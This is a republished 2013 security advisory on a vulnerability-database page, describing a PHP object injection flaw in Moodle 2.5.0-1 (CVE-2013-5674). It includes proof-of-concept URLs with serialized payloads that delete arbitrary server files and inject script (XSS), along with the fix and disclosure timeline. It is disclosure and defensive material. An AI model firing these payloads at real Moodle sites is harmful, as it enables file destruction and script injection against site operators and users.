Lucene search
K

Moodle CMS 2.5.0-1 Cross Site Scripting

🗓️ 16 Sep 2013 00:00:00Reported by Emilio PinnaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 44 Views

Moodle CMS 2.5.0-1 Object Injection XS

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Moodle CMS 2.5.0-1 Cross Site Scripting Vulnerability
17 Sep 201300:00
zdt
Tenable Nessus
Moodle 2.3.x < 2.3.9 / 2.4.x < 2.4.6 / 2.5.x < 2.5.2 Multiple Vulnerabilities
21 Jul 201600:00
nessus
Tenable Nessus
Moodle 'external.php' 'badge' Parameter XSS
20 Sep 201300:00
nessus
CVE
CVE-2013-5674
16 Sep 201310:00
cve
Cvelist
CVE-2013-5674
16 Sep 201310:00
cvelist
EUVD
EUVD-2013-5512
7 Oct 202500:30
euvd
NVD
CVE-2013-5674
16 Sep 201313:02
nvd
OSV
UBUNTU-CVE-2013-5674
16 Sep 201313:02
osv
Prion
Design/Logic Flaw
16 Sep 201313:02
prion
securityvulns
Moodle 2.5.0-1 &#40;badges/external.php&#41; PHP Object Injection Vulnerability
3 Oct 201300:00
securityvulns
Rows per page
`=============================================  
- Original release date: 15 September, 2013  
- Discovered by: Emilio Pinna (Application Security Analyst at Abinsula)  
- Contact: emilio # pinn # gmail  
=============================================  
  
VULNERABILITY  
----------------------  
Moodle CMS version 2.5.0-1 is prone to Object Injection vulnerability passing not properly sanitized user-supplied input to the unserialize() PHP function.  
  
Attacker could inject ad-hoc serialized object into the application scope, reusing internal PHP code snippets maliciously. In this application the attacker could delete files and perform a XSS attacks.  
  
DESCRIPTION  
----------------------  
Affected file badges/external.php unserialize user input in line 35  
  
$json = required_param('badge', PARAM_RAW);  
..  
$badge = new external_badge(unserialize($json));  
  
PROOF OF CONCEPT  
----------------------  
  
- FILE DELETE  
The method csv_export_writer::__destruct() in lib/csvlib.class.php:538 can be exploited in order to delete remote file passing the serialized object.  
  
http://localhost/badges/external.php?badge=O:17:"csv_export_writer":1:{s:4:"path";s:27:"/path/of/the/file/to/delete";}  
  
- XSS  
The rendered HTML page constructed in the core_badges_renderer::render_external_badge() in badges/renderer.php:375 reflects the two object variable assertion and imageurl, as that can be used as XSS vector.   
  
http://localhost/badges/external.php?badge=O:8:"stdClass":2:{s:8:"imageUrl";s:0:"";s:9:"assertion";O:8:"stdClass":1:{s:5:"badge";O:8:"stdClass":1:{s:6:"issuer";O:8:"stdClass":1:{s:4:"name";s:30:"<script>alert(1);</script><!--";}}}}  
  
SYSTEMS AFFECTED  
----------------------  
Moodle CMS version 2.5.0 and 2.5.1. Fixed in 2.5.2.  
  
SOLUTION  
----------------------  
Do not unserialize() user-supplied input, use standard data format as json instead. Moodle users must upgrade to 2.5.2.  
  
CVE REFERENCE  
----------------------  
The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2013-5674 to the vulnerability  
  
CREDITS  
----------------------  
Emilio Pinna: emilio # pinn # gmail  
  
REFERENCES  
----------------------  
https://tracker.moodle.org/browse/MDL-40924  
http://disse.cting.org/2013/09/16/moodle-2_5_0_1-badges-external-object-injection/  
  
DISCLOSURE TIMELINE  
----------------------  
29/Jul/2013: Vendor alerted with MDL-40924 ticket  
02/Sep/2013: Released fix commit 2d3c0faef by Yuliya Bozhko  
07/Sep/2013: Moodle release 2.5.2  
15/Sep/2013: Public disclosure  
  
LEGAL NOTICES  
----------------------  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation